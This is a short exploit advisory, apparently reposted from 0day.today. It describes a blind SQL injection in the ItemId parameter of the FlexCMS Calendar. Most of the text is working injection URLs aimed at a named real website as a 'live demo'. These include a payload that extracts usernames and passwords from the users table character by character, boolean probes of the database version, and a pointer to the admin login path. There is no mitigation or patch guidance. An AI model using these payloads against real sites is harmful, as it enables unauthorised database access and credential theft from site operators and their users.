Flex CMS Calendar (ItemId) Blind SQL Injection Vulnerability

===========================================================
FlexCMS Calendar (ItemId) Blind SQL Injection Vulnerability
===========================================================


*****************************************************************************
*							                    *
*          FlexCMS Calendar(ItemId) Blind SQL Injection Vulnerability       *
*							                    *
*****************************************************************************
AUTHOR: MisterRichard
Developer site: http://www.flexcms.dk/
Admin login site:
http://target.com/flexadmin/
***************************************

[=] Vulnerability author : Lanti-Net

***************************************
[=] Example    : /flx/aktiviteter/kalender/?ItemId={SQL}

		 http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=4  >>FALSE

[=] Live Demo: 	http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=5%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20from%20users%20limit%200,1),1,1))>95
		
		 http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=5  >>TRUE
***************************************



#  0day.today [2018-02-09]  #